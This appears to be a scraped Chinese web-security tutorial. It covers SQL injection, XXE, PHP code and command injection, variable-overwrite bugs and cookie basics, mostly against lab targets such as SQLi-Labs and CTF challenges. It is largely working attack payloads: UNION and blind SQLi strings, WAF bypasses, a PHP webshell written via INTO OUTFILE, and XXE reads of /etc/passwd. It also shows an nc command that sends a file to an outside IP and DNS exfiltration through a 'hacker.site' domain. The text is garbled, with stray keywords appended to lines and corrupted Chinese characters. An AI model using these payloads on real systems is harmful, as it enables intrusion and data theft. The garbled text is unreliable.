1)TCP/IP协议-HTTPjavascript
2)经常使用方法-Methodphp
2) HTTP-常见的响应状态码*css
SQL注入是直接面对数据库进行攻击的。主要有如下几种危害:html
1.权限较大状况下,能够经过SQL注入直接写入webshell或者直接执行系统命令。html5
2.权限较小状况下,可经过注入得到管理员权限、拖库等等java
易发问题点python
SQL注入常常出如今登录页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方。登录页面主要发生在HTTP头中的client-ip和x-forward-for,这些通常用来记录登录的ip。mysql
注入类型linux
回显注入git
报错注入
Boolean盲注
Timing盲注
MySQL内置函数
version() 版本 database() 数据名 user() current_user() 当前登陆用户 @@datadir 数据库路径 @@basedir mysql安装路径 @@version_compile_os 操做系统 concat_ws() 将多个字符串链接成一个字符串
SQL注入常见后台拼接语句
1.$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;(需闭合’) 2.$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”; 3.$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;(需闭合’)) 4.$id = ‘”’ . $id . ‘”’; $sql=”SELECT * FROM users WHERE id=($id) LIMIT 0,1”; 即$sql=”SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1”;(需闭合”),此时你输入’不会报错) 5.$sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”;(少见)
MySQL5注入枚举数据库步骤
# 获取数据库 select * from users where id='1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)--+ # 获取表名 select * from users where id='1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='数据库名字'(最经常使用的是十六进制表示的数据库,’容易被过滤) limit 3,1--+ # 获取列名 select * from users where id='1' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=0x十六进制数据库 and table_name=0x十六进制表 limit 0,1--+ # 获取内容 select * from users where id='1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password)(concat_ws用法:分割符,列名) from users(表名) limit 0,1--+ ascii码中32是空格,58是:
注入剖析
有回显,能够看到某些字段的回显结果(一般)
猜解出字段数目
最方便的注入方式就是使用Union语句填充查询结果,额外执行一次查询
select * from news where id = 1 union select 1,2,3,4;
无正常回显时报错注入。
# floor() 语句: and (select 1 from (select count(*),concat(char(0x7E),(select user()),char(0x7E),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ # updatexml() 语句: and (updatexml(1,concat(0x3a,(select user())),1)); # ExtractValue() 和upadtexml()用法差很少语句: and extractvalue(1, concat(0x5c, (select user())));
在没有数据回显的状况下,能够存在不一样的页面内容回显
一般逐个爆破猜解,效率偏低
思路:利用回显的不一样推测SQL语句执行的结果是True仍是False
# SQLi-Labs Less 11 Payload: admin' and password>'adm123' # HTTP REQUEST POST /Less-11/ HTTP/1.1 Host: localhost Content-Length: 67 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://localhost/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close uname=admin' and password>'adm§123§'#&passwd=asd&submit=Submit # 实际执行 SELECT username, password FROM users WHERE username='admin' and password>'ad8'#' and password='asd' LIMIT 0,1
页面不存在不一样回显,但SQL语句被执行
逐个爆破猜解+时间延迟,效率最低
利用:if (query=True) delay(1000);else pass;的程序逻辑,经过观察是否发生了时间延迟来推测SQL语句的执行状况是否为True
payload:
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行sleep
截取字符串相关函数:
length(str):返回str字符串的长度。 substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始 mid(str,pos,len):跟上面的同样,截取字符串 ascii(str):返回字符串str的最左面字符的ASCII代码值。 ord(str):同上,返回ascii码 if(a,b,c) :a为条件,a为true,返回b,不然返回c,如if(1>2,1,0),返回0 left(database(),1) 取database字符串的左边第一个没法报错注入,尝试盲注
SQL注入示例
# 测试Pyaload ' and 1=1 ‘ and 1=2 ') and 1=1 '--+ "--+ '/**/and/**/1=1%23 # 读取数据库 http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,schema_name from information_schema.schemata limit 0,1 %23 +--------------------+ | Database | +--------------------+ | information_schema | | challenges | | mysql | | performance_schema | | security | | test | +--------------------+ # 读取数据库表名 http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1 %23 +--------------------+ | Tables_in_security | +--------------------+ | emails | | referers | | uagents | | users | +--------------------+ # 获取列名 http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+ +----+----------+----------+ | id | username | password | +----+----------+----------+ # 获取内容 http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password) from users limit 0,1--+ # 报错注入 http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select user())),1)) %23 http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select username from users limit 2,1)),1)) %23
文件读写
读取敏感文件,权限较大时,能够直接写shell
@@basedir 获取MySQL位置 load_file() :读取文件 into dumpfile():导出文件 into outfile() :导出文件
# 先尝试可否得到路径,不能的话,就尝试经常使用的路径 http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,@@basedir%23 # 读取密码文件 http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(‘/etc/passwd’)%23 # 变换形式 - ascii编码 - 转换方法 mysql> select conv(hex('D'),16,10); +----------------------+ | conv(hex('D'),16,10) | +----------------------+ | 68 | +----------------------+ 1 row in set (0.00 sec) - 转换形式 解码 mysql> select char(68,58,92,92,84,69,83,84,46,116,120,116); +----------------------------------------------+ | char(68,58,92,92,84,69,83,84,46,116,120,116) | +----------------------------------------------+ | D:\\TEST.txt | +----------------------------------------------+ - Payload http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(char(68,58,92,92,84,69,83,84,46,116,120,116))%23 # 变换形式 - hex编码 - 转换方法 mysql> select hex("D:\\test.txt"); +------------------------+ | hex("D:\\test.txt") | +------------------------+ | 443A5C746573742E747874 | +------------------------+ 1 row in set (0.00 sec) - 转换形式 解码 mysql> SELECT X'443A5C746573742E747874'; +---------------------------+ | X'443A5C746573742E747874' | +---------------------------+ | D:\test.txt | +---------------------------+ 1 row in set (0.00 sec) - Payload 16进制编码导出文件内容到网页可访问页面,从而获取数据 http://localhost/Less-1/index.php?id=1'/**/and/**/1=2/**/union/**/select/**/1,load_file(0x443A5C746573742E747874)%23
file_name处要指定绝对路径,不然就会导出到mysql的目录下。同时对需导出的目录有可写权限。
SELECT * INTO OUTFILE 'file_name’ SELECT * INTO DUMPFILE ‘file_name’
获取Webshell的前提是知道网站的绝对物理路径,这样导出后的webshell可访问
select "<?php eval($_POST['z']);?>" into outfile'D:/web/shell.php'; # Tips: secure-file-priv这个参数限制了outfile、dumpfile的导入导出权限。使用show命令能够看到secure_file_priv的配置。 mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | NULL | +------------------+-------+ - 当Null的时候,表示限制MySQL的导入|导出 - 当为某个根目录的时候,表示限制为只能在指定目录导入|导出 - 当没有具体值得时候,表示不对导入|导出的目录限制
Waf绕过
# 应对 简单的将select、or等关键字替换为空字符串的防护 # payload seselectlectfrom 、where username='x' OorR1=1
# 应对 简单的区分大小写的关键字匹配,好比php中preg_match函数没有加/i参数 # payload SelecT,Or
•ASCII: 例如admin能够用char(97)+char(100)+char(109)+char(105)+char(110)代替 select * from users where username=(char(97)+char(100)+char(109)+char(105)+char(110)) select * from users where username=char(97,100,109,105,110); •16进制: mysql> select extractvalue(0x3C613E61646D696E3C2F613E,0x2f61); +-------------------------------------------------+ | extractvalue(0x3C613E61646D696E3C2F613E,0x2f61) | +-------------------------------------------------+ | admin | +-------------------------------------------------+ 1 row in set (0.00 sec) •unicode编码: 单引号——%u0027 、%u02b九、%u02bc、%u02c八、%u203二、%uff07 •URL编码: or 1=1——%6f%72%20%31%3d%31
Or <------------> ||、and <--------> && 空格被限制:select(username)from(admin) 科学计数法绕过:where username=1e1union select mysql> select * FROM users where username=1e1union select 1,2,3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ =、<、>被限制:where id in (1,2)、where id between 1 and 三、like access中使用dlookup绕过select from被限制:(user=12',info=dlookup('[user]','userinfo','[id]=1')%00)
空格被限制:/**/、%a0、%0a、%0d、%0九、tab.... 内联注释:select 1 from /*!admin*/ /*!union*/ select 2, mysql> select * FROM users where id = 1 /*!and 1=2*/ /*!union*/ select 1,2,3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ 1 row in set (0.00 sec) MYSQL对%00不会截断:se%00lect 单一%号,在asp+iis中会被忽略:sel%ect ``mysql反引号之间的会被当作注释内容
攻击者将恶意SQL语句插入到数据库中,程序对数据库内容毫无防备,直接带入查询。
对来自于内部的输入输出过于信任。
不少程序使用gbk编码的状况下,和unicode编码的组成形式不一样形成这样的漏洞。
当数据库使用了宽字符集(如GBK),会将一些两个字符单作一个字符,如:0xbf2七、0xbf5c
反斜杠是0x5c,使用addslashes()等转义函数在处理输入时会将'、、”这些字符用反斜杠转义,输入0xbf27,转之后变成了0xbf5c27,5c被当作了汉字一部分,单引号0x27逃逸出来。前提条件是前一个ascii码要大于128,才到汉字的范围。
# SQLi-Labs Less32测试语句 http://localhost/Less-32/index.php?id=1%df%27 and 1=2 union select 1,2,3--+ 以上语句在MySQL中查询其实已经变成了一个汉字,单引号逃逸了出来。由于’被转义成\’,而前面的%df与转义符号\(%5c)组合成了%df%5c,即運字。从而吃掉了\,致使单引号能够闭合 # 实际查询语句 SELECT * FROM users WHERE id='1運' and 1=2 union select 1,2,3-- ' LIMIT 0,1
SQL Server的DNS注入和MySQl稍有不容,但都是利用了SMB协议。其中的.hacker.site是搭建的DNS域名服务器的地址。
http://ceye.io 是提供DNS传输服务的网址。
select load_file(concat('\\',version(),'.hacker.site\a.txt')); select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
SQLMAP经常使用参数
python sqlmap.py -r ~/Desktop/sqlmap.txt --level 3 --risk 3
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3
sqlmap.py -u "http://localhost/vulnerabilities/fu1.php?id=1" --level 5 --risk 3 --file-read /tmp/key
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3 -v --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py # 读取库、表、列 sqlmap.py -u "" --dbs --level 5 --risk 3 -v 3 --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10 # 读取文件 sqlmap.py -u "" --file-read "" --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10
手动绕过
多个关键字替换
http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uniunionon/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23 http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uunionnion/**/select/**/1,2,3,4,5,6,7/**/anandd/**/(%27 http://localhost/vulnerabilities/fu1.php?id=1')/**/aandnd/**/1=2/**/uunionnion/**/select/**/1,2,load_file('/etc/passwd'),4,5,6,7/**/anandd/**/('
SQL注入防护
字符串拼接形式:
过滤单引号、双引号、反斜杠等等关键词 转义:addslashes、mysqli_real_escape_string
使用pdo:
在PHP5.3.6及如下版本须要设置setAttribute(PDO::ATTR_EMULATE_PREPARES,false);来禁用preparedstatement仿真效果
基础知识
XML(Extensible Markup Language)被设计用来传输和存储数据。
文档类型定义:DTDwikipedia关于这的描述是:The XML DTD syntax is one of several XML schema languages。DTD的做用是定义XML文档的合法构建模块。实体也是构建模块之一。所以能够利用DTD来内部或外部引入实体。经过引用定义在外部的DTD中的实体,咱们称之为外部实体。
<!DOCTYPE 根元素名 [元素描述]>
内部引用
<!ENTITY 实体名称 "实体的值">
外部引用
<!ENTITY 实体名称 SYSTEM "URI">
SimpleXML 函数 simplexml_import_dom — 从DOM节点获取SimeXMLEngle对象 simplexml_load_file — 将XML文件解释为对象 simplexml_load_string — 将XML字符串解释为对象
函数演示:
<?php $dom = new domDocument; $dom->loadXML('<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file "Hello World!" >]> <root> <info>&file;</info> </root>'); $xml = simplexml_import_dom($dom); echo $xml->info; ?>
访问该XML文档,&file;会被解析为Hello World!并输出。
利用方式
利用文件协议读取本地文件,好比file协议。
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher | ||
phar |
file协议读取文件示例:
POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml Referer: http://web.jarvisoj.com:9882/ Content-Length: 175 Cookie: __cfduid=d5003f0545042bbe0fbc573cda35051f71472823285; UM_distinctid=15abdd622a49f-02e5d4fef34197-7f682331-100200-15abdd622a5cf; role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0 Connection: close <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:////home/ctf/flag.txt" >]> <root> <search>name</search> <value>&xxe;</value> </root>
漏洞代码:
<?php # Enable the ability to load external entities libxml_disable_entity_loader (false); show_source(__FILE__); $xmlfile = file_get_contents('php://input'); //接受POST请求 echo '<br>'; if(strlen($xmlfile)>0){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure $creds = simplexml_import_dom($dom); //解析xml $user = $creds->user; $pass = $creds->pass; echo "You have logged in as user $user"; } ?>
若是要读取php文件,由于php、html等文件中有各类括号<,>,若直接用file读取会致使解析错误,此时能够利用php://filter将内容转换为base64后再读取。
php://filter/read=convert.base64encode/rsource=
Payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" > ]> <root> <user>&file;</user> <pass>mypass</pass> </root> # 读取passwd文件 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <root> <user>&xxe;</user> <pass>mypass</pass> </root>
其余攻击方式
php环境下,xml命令执行要求php装有expect扩展。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> # id ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
因为xml实体注入攻击能够利用http://协议发起http请求。因此能够利用该请求去探查内网进行SSRF攻击。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "http://192.168.1.1:80/"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
xxe漏洞防护
配置XML处理器去使用本地静态的DTD,不容许XML中含有任何本身声明的DTD。经过设置相应的属性值为false,XML外部实体攻击就可以被阻止。可将外部实体、参数实体和内联DTD 都被设置为false,避免基于XXE漏洞的攻击。
应用有时须要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就能够将恶意系统命令拼接到正常命令中,从而形成命令执行攻击。
漏洞触发点
程序过滤不严谨,致使用户能够将代码注入并执行。高危函数:eval()、assert()、preg_replace()、call_user_func()....
文件包含注射,当allow_url_include=On ,PHP Version>=5.2.0 时,致使代码注射。高危函数:include()、include_once()、require()、require_once()
对于执行命令的函数,参数过滤不严谨,致使直接命令执行。高危函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()4.其余:反引号(`)可正常执行命令,实质是调用shell_exec()函数
漏洞代码
eval和assert函数这两个函数本来做用用于动态执行代码。
<?php error_reporting(0); show_source(__FILE__); $a = @$_REQUEST['hello']; eval("var_dump($a);");
Payload:
# windows http://localhost/eval/index.php?hello=);eval($_GET['A']);//&A=system('whoami'); # linux http://localhost/eval/index.php?hello=11);eval($_GET['c']);//&c=system('cat /etc/passwd'); # 一句话webshell http://localhost/eval/index.php?hello=11);eval($_POST['c']);%2f%2f
preg_replace函数用于对字符串进行正则处理,搜索\(subject中匹配\)pattern的部分,以\(replacement替换。当pattern中存在/e模式修饰符,即\)replacement会被当作PHP代码来执行。
函数原型:
mixed preg_replace(mixed $pattern, mixed $replacement,mixed $subject [, int $limit = -1 [,int&$count]] )
漏洞代码:
<?php error_reporting(0); show_source(__FILE__); preg_replace("/\[(.*)\]/e","\\1",$_GET['str']);
Payload:
正则的意思是从$_GET[‘str’]变量里搜索中括号[]中间的内容做为第一组结果,preg_replace函数第二个参数为‘\1’表明这里用第一组结果填充,这里是能够直接执行代码的。
http://localhost/learn/preg.php?str=[phpinfo()]
文件包含函数在特定条件下的代码注射,如include()、include_once()、require()、require_once()。当allow_url_include=On ,PHP Version>=5.2.0 时,致使代码注射。
<?php error_reporting(0); show_source(__FILE__); include($_GET['a']);
Payload:
# 本地文件包含 http://localhost/learn/include.php?a=../phpinfo.php # data:text/plain http://localhost/learn/include.php?a=data:text/plain,<?php phpinfo();?> - data:text/plain base64形式 http://202.112.51.130/learn/include.php?a=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg== # php://伪协议>> 访问各个输入/输出流 http://localhost/learn/include.php?a=php://filter/convert.base64-encode/resource=/etc/passwd 解开base64就获得原文 Tips:当head头有enctype=”multipart/form-data” 时,该伪协议无效。 # php://input形式 当hackbar发不出数据包,就用burpsuite构造数据包,实现一句话webshell效果 POST /learn/include.php?a=php://input HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=4ln93lscu4sqfcn9je3u2660q2 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 22 <?php system('pwd');?>
高危函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()、system()—执行shell命令也就是向dos发送一条指令。
shell_exec()—经过shell环境执行命令,而且将完整的输出以字符串的方式返回。
exec()—执行外部程序
passthru()—执行外部程序而且显示原始输出系统命令。
经过|、&、||起到命令链接的做用,利用输入时的合理构造可使想要执行的命令和本来命令链接执行。
<?php error_reporting(0); show_source(__FILE__); $dir = $_GET["dir"]; if(isset($dir)) { echo "<pre>"; system("net user ".$dir); //漏洞函数 echo "</pre>"; } ?>
Payload:
http://localhost/system.php?dir=|whoami
<?php error_reporting(0); show_source(__FILE__); $a=$_GET['a']; echo `$a`; //反引号被解析
Payload:
http://localhost/learn/fan.php?a=ls
<?php if(isset($_REQUEST[ 'ip' ])) { $target = trim($_REQUEST[ 'ip' ]); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); $cmd = shell_exec( 'ping -c 4 ' . $target ); echo $target; echo "<pre>{$cmd}</pre>"; } show_source(__FILE__);
Payload:
当过滤了特殊符号,能够用换行符号的方法绕过继续执行命令。换行测试方法 %0a
http://localhost/ping/index.php?ip=127.0.0.1%0Acat index.php
绕过方法
一、查看文件内容: cat [file] tac [file] more [file] less [file] head [file] tail [file] 二、改变key.php的文件后缀 mv 1.php 1.txt cp 1.php 1.txt tar: tar -cf 打包后的文件名 打包文件名 三、文件处理: grep '关键字' [file_path] awk '{print $0}' [file_path] 四、查看命令是否存在: which ls 五、下载命令: 本地机器:Python -m SimpleHTTPServer 目标机器 curl -o linux.php http://www.linux.com/text.php wget -O 保存的文件名.zip http://www.test.net/download.aspx 六、过滤cat,那么尝试经过管道命令利用NC发送文件。 本机执行:nc -lvv -p 4444 远程机器执行:nc 172.168.0.27 4444 < ../key.php
变量覆盖指的是用自定的参数值来替换程序原有的变量值,变量覆盖漏洞一般须要结合程序其余功能进行利用。大多由函数使用不当致使,主要有如下几个函数:
$$,extract(),parse_str(),import_request_variables()等。
开启了全局变量注册也容易致使变量覆盖。
使用foreach来遍历数组中的值,而后再将获取到的数组键名做为变量,数组中的键值做为变量的值。所以就产生了变量覆盖漏洞。
漏洞代码:
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); show_source(__FILE__); include "flag.php"; $_403 = "Access Denied"; $_200 = "Welcome Admin"; if ($_SERVER["REQUEST_METHOD"] != "POST") die("CTF is here :p..."); if ( !isset($_POST["flag"]) ) die($_403); foreach ($_GET as $key => $value) $$key = $$value; // 变量覆盖 foreach ($_POST as $key => $value) $$key = $value; //$$ if ( $_POST["flag"] !== $flag ) die($_403); //方法2:出现flag的关键位置 echo "This is your flag : ". $flag . "\n"; die($_200); //方法1:出现flag的关键位置 ?>
代码分析
题目中两个foreach
使用了$$
产生变量覆盖问题,知足条件后会将$flag
里面的值打印出来。题目有三个if判断语句,当知足第一个if判断语句的条件,可使用覆盖$_200
或$403
的方法打印出$flag
变量的值。die($_200)
或 die($_403)
是能够将$flag
打印出来的地方。
Payload:
POST /shell.php?_200=flag HTTP/1.1 Host: localhost Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close Content-Length: 6 flag=1
POST /shell.php?_403=flag&_POST=1 HTTP/1.1 Host: localhost Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close Content-Length: 6 flag=1
extract() 该函数使用数组键名做为变量名,使用数组键值做为变量值。针对数组中的每一个元素,将在当前符号表中建立对应的一个变量。
题目使用了**extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,而后再进行两个if 的条件判断,因此可使用GET提交参数和值,利用extract()**对变量进行覆盖,从而知足各个条件。
<?php $flag = "xxx"; extract($_GET); if (isset($gift)) { $content = trim(file_get_contents($flag)); if ($gift == $content) { echo "hctf{xx}"; } else { echo "Oh.."; } } ?>
Payload:
http://localhost//shell.php?flag=&gift=
若是 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前做用域(若是提供了 result 则会设置到该数组里 )。
void parse_str ( string $encoded_string [, array &$result ] ) encoded_string 输入的字符串。 result 若是设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,做为替代。
漏洞代码
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); if (empty($_GET['id'])) { show_source(__FILE__); die(); } else { include (‘flag.php’); $a = “www.CTF.com”; $id = $_GET['id']; @parse_str($id); if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) { echo $flag; } else { exit(‘其实很简单其实并不难!’); } } ?>
分析:
代码首先要求使用GET提交id参数,而后parse_str($id)对id
参数的数据进行处理,再使用判断$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)
的结果是否为真,为真就返回flag。
md5(‘QNKCDZO’)
的结果是0e830400451993494058024219903391
若是要知足if判断 if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’))
就须要利用php弱语言特性。
Payload:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每个以”0E”开头的哈希值都解释为0,因此若是两个不一样的密码通过哈希之后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
GET请求id=a[0]=240610708,这样会将a[0]的值覆盖为240610708,而后通过md5后获得0e462097431906509019562988736854与md5(‘QNKCDZO’)的结果0e830400451993494058024219903391比较都是0 因此相等,知足条件。 # MD5加密后,以0e开头的值 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
一、漏洞危害
二、基础知识
1)Cookie的工做方式
XSS漏洞的主流利用方式是获取用户的Cookie执行一系列的操做。
Cookie的基本通讯流程:
1.设置cookie 2.cookie被自动添加到request header中 3.服务端接收到cookie
须要理解的问题:
1.什么样的数据适合放在cookie中 对于设置“每次请求都要携带的信息(身份认证信息)”特别适合存放在cookie中。 2.cookie是怎么设置的 每一个cookie都有必定的属性,如何时失效,要发送到哪一个域名,哪一个路径等等。这些属性是经过cookie选项来设置的,cookie选项包括:expires、domain、path、secure、HttpOnly。在设置任一个cookie时均可以设置相关的这些属性。代码示例以下: "SESSIONID=e6f5cad435dc6a;expires=Thu,27Feb201705:21:00GMT;domain=www.xxx.com;path=/;secure;HttpOnly 3.cookie为何会自动加到request hearder中 存储cookie是浏览器提供的功能,cookie是存储在浏览器中的纯文本。当网页要发HTTP请求时,浏览器会先检查是否有相应的cookie,有则自动添加到request hearder中的cookie字段中。这是浏览器自动作的。 4.cookie怎么增删改查 cookie既能够由服务端来设置,也能够由客户端来设置。 cookie选项包括:expires、domain、path、secure、HttpOnly。 expires选项用来设置“cookie什么时间内有效”。expires实际上是cookie失效日期,对于失效的cookie浏览器会清空。若是没有设置该选项,则默认有效期为session,即会话cookie。这种cookie在浏览器关闭后就没有了。 secure选项用来设置cookie只在确保安全的请求中才会发送。当请求是HTTPS或者其余安全协议时,包含secure选项的cookie才能被发送至服务器。 HttpOnly用来设置cookie是否能经过js去访问。 默认状况下,客户端是能够经过js代码去访问(包括读取、修改、删除等)这个cookie的。当cookie带httpOnly选项时,客户端则没法经过js代码去访问(包括读取、修改、删除等)
2)浏览器的解析方式
语言的解析通常分为词法分析(lexical analysis)和语法分析(Syntax analysis)两个阶段,WebKit中的html解析也不例外,本文主要讨论词法分析。
词法分析的任务是对输入字节流进行逐字扫描,根据构词规则识别单词和符号,分词。
在WebKit中,有两个类,同词法分析密切相关,它是HTMLToken和HTMLTokenizer类,能够简单将HTMLToken类理解为标记,HTMLTokenizer类理解为词法解析器。HTML词法解析的任务,就是将输入的字节流解析成一个个的标记(HTMLToken),而后由语法解析器进行下一步的分析。
在XML/HTML的文档解析中,token这个词常常用到,我将其理解为一个有完整语义的单元(也就是分出来的“词”),一个元素一般对应于3个token,一个是元素的起始标签,一个是元素的结束标签,一个是元素的内容,这点同DOM树是不同的,在DOM树上,起始标签和结束标签对应于一个元素节点,而元素内容对应另外一个节点。
除了起始标签(StartTag)、结束标签(EndTag)和元素内容(Character),HTML标签还有DOCTYPE(文档类型),Comment(注释),Uninitialized(默认类型)和EndOfFile(文档结束)等类型,参见HTMLToken.h中的Type枚举。
标记的组成:类型,在字节流中的偏移,数据(m_data,不一样的类型具备不一样的意义),文档类型,是否自封闭(对于开始和结束标签),属性列表,当前属性。
